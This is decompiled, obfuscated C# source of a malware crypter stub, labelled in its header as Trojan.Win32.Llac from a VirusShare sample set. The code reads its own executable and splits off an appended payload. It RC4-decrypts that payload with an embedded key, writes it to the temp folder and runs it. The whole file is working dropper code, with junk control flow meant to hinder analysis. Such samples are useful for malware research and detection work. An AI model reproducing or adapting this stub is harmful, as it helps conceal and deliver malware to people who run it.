// Decompiled with JetBrains decompiler // Type: . // Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null // MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ahnf-1467840597eb1f4ba0b638f6a268d113b70fcfcdf65f9ac2457fdfea55b1e336.exe using \u0001; using \u0005; using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Windows.Forms; namespace \u0005 { internal class \u0003 : Form { [NonSerialized] internal static \u0001.\u0001 \u0001; private IContainer \u0001; static \u0003() => \u0002.\u0002(typeof (\u0003)); public \u0003() { this.Load += new EventHandler(this.\u0002); this.\u0002(); } [DebuggerNonUserCode] protected override void Dispose([In] bool obj0) { try { if (!obj0 || this.\u0001 == null) return; this.\u0001.Dispose(); } finally { base.Dispose(obj0); } } private void \u0002() { this.SuspendLayout(); this.AutoScaleDimensions = new SizeF(6f, 13f); do { if (true) goto label_4; label_2: continue; label_4: this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(284, 262); this.Name = \u0003.\u0001(299); this.Text = \u0003.\u0001(299); goto label_2; } while (false); this.ResumeLayout(false); } [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] private void \u0002([In] object obj0, [In] EventArgs obj1) { label_0: int num1; int num2; try { ProjectData.ClearProjectError(); num2 = 1; label_1: int num3; if (true) num3 = 2; string tempPath = Path.GetTempPath(); label_2: if (true) { num3 = 3; FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); } else goto label_22; label_4: num3 = 4; string Expression; int num4; int num5; if (true) { int FileNumber = 1; if (FileNumber != 0) { if (true) { Expression = Strings.Space(checked ((int) FileSystem.LOF(FileNumber))); } else { num4 = FileNumber; goto label_23; } } else { num5 = FileNumber; goto label_17; } } else goto label_11; label_8: num3 = 5; FileSystem.FileGet(1, ref Expression); label_9: num3 = 6; int num6 = 1; int num7; int length; if (num6 != 0) { length = num6; } else { num7 = num6; goto label_12; } label_10: int[] numArray = new int[length]; numArray[0] = 1; FileSystem.FileClose(numArray); label_11: num7 = 7; label_12: num3 = num7; string[] strArray = Strings.Split(Expression, \u0003.\u0001(308)); label_13: num3 = 8; string str = \u0003.\u0002(strArray[1], \u0003.\u0001(349)); label_14: length = 9; if (length != 0) { num3 = length; FileSystem.FileOpen(5, tempPath + \u0003.\u0001(370), OpenMode.Binary, OpenAccess.ReadWrite); } else goto label_10; label_16: num5 = 10; label_17: num3 = num5; FileSystem.FilePut(5, str, -1L, false); label_18: if (true) { num3 = 11; FileSystem.FileClose(5); } else goto label_21; label_20: num3 = 12; label_21: Process.Start(tempPath + \u0003.\u0001(370)); label_22: num4 = 13; label_23: num3 = num4; this.Close(); ProjectData.EndApp(); goto label_32; label_25: num1 = num3; switch (num2) { case 1: int num8 = num1 + 1; num1 = 0; switch (num8) { case 1: goto label_0; case 2: goto label_1; case 3: goto label_2; case 4: goto label_4; case 5: goto label_8; case 6: goto label_9; case 7: goto label_11; case 8: goto label_13; case 9: goto label_14; case 10: goto label_16; case 11: goto label_18; case 12: goto label_20; case 13: goto label_22; case 14: goto label_32; } break; } } catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0) { ProjectData.SetProjectError(ex); goto label_25; } throw ProjectData.CreateProjectError(-2146828237); label_32: if (num1 == 0) return; ProjectData.ClearProjectError(); } public static string \u0002([In] string obj0, [In] string obj1) { int index1 = 0; label_1: int index2 = 0; StringBuilder stringBuilder = new StringBuilder(); string empty = string.Empty; int[] numArray1 = new int[257]; if (true) goto label_25; label_2: int[] numArray2 = new int[257]; int length = obj1.Length; int location1 = 0; int[] numArray3; while (location1 <= (int) byte.MaxValue) { char String = obj1.Substring(location1 % length, 1).ToCharArray()[0]; numArray2[location1] = Strings.Asc(String); numArray3[location1] = location1; Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); } int index3 = 0; int location2 = 0; int num1; int num2; while (location2 <= (int) byte.MaxValue) { num1 = checked (index3 + numArray3[location2] + numArray2[location2]); num2 = 256; if (num2 != 0) { index3 = num1 % num2; int num3 = numArray3[location2]; numArray3[location2] = numArray3[index3]; do { numArray3[index3] = num3; } while (false); if (true) Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); else goto label_17; } else goto label_18; } int num4 = 1; int num5; if (num4 != 0) { location1 = num4; goto label_21; } else num5 = num4; label_15: int num6; if (num5 != 0) { int num7 = numArray3[index1]; numArray3[index1] = numArray3[index2]; numArray3[index2] = num7; num6 = numArray3[checked (numArray3[index1] + numArray3[index2]) % 256]; } else goto label_1; label_17: int num8 = Strings.Asc(obj0.Substring(checked (location1 - 1), 1).ToCharArray()[0]); num2 = num6; num1 = num8; label_18: int CharCode = num1 ^ num2; label_19: stringBuilder.Append(Strings.Chr(CharCode)); label_20: Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); label_21: if (location1 <= obj0.Length) { index1 = checked (index1 + 1) % 256; index2 = checked (index2 + numArray3[index1]) % 256; num5 = 5; goto label_15; } else if (true) { if (true) { string str = stringBuilder.ToString(); stringBuilder.Length = 0; return str; } goto label_19; } else goto label_20; label_25: numArray3 = numArray1; goto label_2; } } }